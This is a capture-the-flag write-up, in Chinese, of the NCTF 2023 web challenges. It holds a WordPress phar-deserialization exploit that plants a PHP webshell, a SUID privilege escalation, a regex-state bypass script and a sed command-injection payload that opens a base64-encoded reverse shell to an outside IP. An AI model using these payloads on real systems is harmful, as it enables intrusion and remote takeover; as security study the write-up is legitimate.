2023 NCTF WP
Logging
log4j2
和原本的区别是没有 Logger 一系列 api。但是用 Accept 头修改就可以
反弹 shell 拿 flag
ez_wordpress
很 realworld 的一道题目,出的挺好的,就是一开始的思路没想到。然后踩了很多坑。
先用 wpscan 扫,做信息收集。
- Wordpress 版本是 6.4.1 有 POP 链漏洞。
- all-in-one-video-gallery 插件版本是 2.6.4,有任意文件读取 & SSRF 的洞。
- contact-form-7 这里提供了文件上传的功能。Version: 5.8.4
- drag-and-drop-multiple-file-upload-contact-form-7,Version:1.3.6.2;也是文件上传的点。
这里的思路是很特别的,phar + SSRF,所以说这个题目真的很 RealWorld
通过任意文件上传,这里我们可以上传一个 phar 文件,由于 phar 协议对于后缀是无所谓的,所以这里上传 jpg 就可以了。
但是要构造这个 HTTP 请求需要自己起一个环境,然后配置 drag-and-drop-multiple-file-upload-contact-form-7 插件的文件上传。这个插件最后是在文章评论里面能够上传文件,出题人把 CSS 都删掉了, 导致只能自己起环境。
最终的文件上传的 HTTP 包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 120.27.148.152:8012 Content-Length: 1100 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4iNAMw9WsXYpvRh5 Origin: http://192.168.155.130:8080 Referer: http://192.168.155.130:8080/2023/12/23/hello-world/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2 Cookie: wordpress_ac537363824161b6f57971b554f35150=admin%7C1703488989%7CPIzRFsjUUfT48tJQYugEtBeOXowW4dq5DGTK0htmzgp%7C1613ac86565afa28de016afa707f293446d531968efbbfe134f2c39f9116fd8c; wordpress_37b73f3997d8e86a5444f5e6169e62a9=admin%7C1703507590%7CphGpVzdrXMbZ1trfyuedAn43lTl3bm6e98CkwVCGBGU%7C84448144083da56f705baf56db136311c0121a1ac9f0f942cee38c9407ebd8f5; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_ac537363824161b6f57971b554f35150=admin%7C1703488989%7CPIzRFsjUUfT48tJQYugEtBeOXowW4dq5DGTK0htmzgp%7C8bbeecd37213bac95528f20b5a6714b63984d4caf8c83e032c3e2d3e6e08c931; aiovg_rand_seed=4191310244; wp_lang=zh_CN; wordpress_logged_in_37b73f3997d8e86a5444f5e6169e62a9=admin%7C1703507590%7CphGpVzdrXMbZ1trfyuedAn43lTl3bm6e98CkwVCGBGU%7C8d30bb0f69143395c98c0e2fde270c1236a715c34584cc2ab3755c7fc3bdf982; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1703334790 Connection: close
Content-Disposition: form-data; name="size_limit"
15555555555
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
Content-Disposition: form-data; name="type"
click
Content-Disposition: form-data; name="security"
a803333984
Content-Disposition: form-data; name="form_id"
18
Content-Disposition: form-data; name="upload_name"
upload-file-393
Content-Disposition: form-data; name="upload-file"; filename="drunkbaby1.png" Content-Type: image/png
test
|
用 phar 伪协议去构造反序列化的 HTTP 请求如下
1 2 3 4 5 6 7 8 9 10 11
| GET /index.php/video?dl=cGhhcjovLy92YXIvd3d3L2h0bWwvd3AtY29udGVudC91cGxvYWRzL3dwX2RuZGNmN191cGxvYWRzL3dwY2Y3LWZpbGVzL2RydW5rYmFieTEucG5n&a=system&c=ls HTTP/1.1 Host: 120.27.148.152:8012 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2 Cookie: aiovg_rand_seed=1541956646 Connection: close
|
构造 phar 的 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
namespace { class WP_HTML_Token { public $bookmark_name; public $on_destroy;
public function __construct($bookmark_name, $on_destroy) { $this->bookmark_name = $bookmark_name; $this->on_destroy = $on_destroy; } }
$a = new \WP_HTML_Token('echo \'<?php @eval($_POST["nepnb"]);?>\' > /var/www/html/nepnep.php', 'system');
$phar =new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); } ?>
|
最后不论是文件上传还是 phar 生成,都踩了不少坑。
最后连上 shell 之后需要 suid 提权
date suid
date -f 文件名
wait what
做的时候就感觉是某种特性,看到 in 的时候感觉问题挺大的
搜了一下相关的特性 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/in
如果指定的属性在指定的对象或其原型链中,则 in
运算符返回 true
。
本地测试一下
1 2 3 4 5 6 7 8 9 10 11 12
| let banned_users = ['hacker']
banned_users.push("admin")
username='admin'
let test2 = (username in banned_users) console.log(`使用in关键字匹配${username}的结果为:${test2}`) if (test2) { console.log("第二个判断匹配到封禁用户:",username) return }
|
当 username = ‘admin’ 时,返回 false,当 username = ‘0’ 时,返回 true
由于 banned_users 为 Array 类型,不存在 admin 属性,因此 test2 实际上判断的是banned_users 中是否存在数组索引为 username 的值(由于对象的属性名称会被隐式转换为字符串,”0” 和 0 都可以作为数组索引)
这里过了第一步之后还有一步正则的过滤,比较明显的是 test 函数
1
| let test1 = banned_users_regex.test(username)
|
test() 方法用于检测一个字符串是否匹配某个模式.
由于 new RegExp(regex_string, "g")
定义了 g 的全局标志
如果正则表达式设置了全局标志, test()
的执⾏会改变正则表达式 lastIndex 属性。连续地执⾏ test()
⽅法,后续的执⾏将会从 lastIndex 处开始匹配字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 1 > let r = /^admin$/g 2 3 > r.lastIndex 4 0 5 6 > r.test("admin") 7 true 8 9 > r.lastIndex 10 5 11 12 r.test("admin") 13 false 14 15 > r.lastIndex 16 0
|
那么这里的攻击思路是什么呢,总结一下应该是想办法让 admin 这个用户的 lastIndex 被我们恶意修改为 admin.length
。攻击分为两步走
1、访问 /api/ban_user
路由,构造数组传入,绕过 in
的过滤
2、访问 /api/flag
,发两次包,就能够让 r.lastIndex
变成 admin.length
,绕过 waf
但是这里实施起来还是有个问题,下面这段代码每次在请求时都会创建⼀个新的 banned_users_regex
,恢复其 lastIndex 位置为初始值 0
1 2 3 4 5 6 7 8
| app.use(function (req, res, next) { try { build_banned_users_regex() console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex) } catch (e) { } next() })
|
这里的绕过挺巧妙的,又用到了一个特性
现如果传⼊ escapeRegExp(string)
函数中的 string 参数为⾮字符串类型,则 string 不存在 replace 属性,会抛出TypeError,如此来绕过 regex 的更新
如此一来,最后的 EXP 就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests
remote_addr="http://127.0.0.1"
rs = requests.Session()
resp = rs.post(remote_addr+"/api/register",json= {"username":"test","password":"test"}) print(resp.text)
resp = rs.post(remote_addr+"/api/ban_user",json= {"username":"test","password":"test","ban_username":{"toString":""}}) print(resp.text)
resp = rs.post(remote_addr+"/api/flag",json= {"username":"admin","password":"admin"}) print(resp.text)
resp = rs.post(remote_addr+"/api/flag",json= {"username":"admin","password":"admin"}) print(resp.text)
|
调试分析
虽然理解了特性,不过我个人觉得不调试一下是很不清晰的,所以就又调试了一遍。
先来看第一遍发包的时候,传数组,确实能够看到抛出异常,导致 lastIndex
不会被重置。
接着去请求 /api/flag
,去修改 lastIndex
,第一次的时候,由于 lastIndex
还是 0,匹配 admin 为 true
当第二次再发起请求的时候
成功 bypass 了
Webshell Generator
最开始 download.php 是有任意文件读取的,不能直接读 flag,需要执行 /readflag
,所以需要 rce 的。核心聚焦于这一个文件上,generate.sh
1 2 3 4 5 6 7 8 9 10 11 12
| #!/bin/sh
set -e
NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16) cp template.php "/tmp/$NEW_FILENAME" cd /tmp
sed -i "s/KEY/$KEY/g" "$NEW_FILENAME" sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"
realpath "$NEW_FILENAME"
|
sed -i 命令用于在文件中直接修改文本内容,而不是将输出打印到标准输出。使用该命令可以在不创建临时文件的情况下,直接修改原始文件的内容。
这里的 sed -i 的最终效果是修改 template.php 中的任意一个变量。
来看一下 sed
命令的官方文档
https://www.gnu.org/software/sed/manual/
GNU sed 可以通过 e 指令执⾏系统命令。闭合原先的s指令,执⾏ /readflag
,会将 flag 插⼊到输出⽂件的第⼀⾏。⾃动跳转到 download.php 读取即可。
由此能够构造出的 payload 是
拿到 flag
反弹 shell 也是可以的(但是我复现失败了
1 2 3 4
| import requests resp = requests.post("http://117.50.175.234:8001/index.php",data= {"language":"PHP","key":'''/g; 1e bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" #s//''',"method":"1","filename":"2"}) print(resp.status_code,resp.text)
|
EvilMQ
有空再复现,最近太忙了。
想结合 QL 来看看,感觉上有可能成为一个新的攻击面。
小结
总结一下,是很用心的比赛,出题质量很高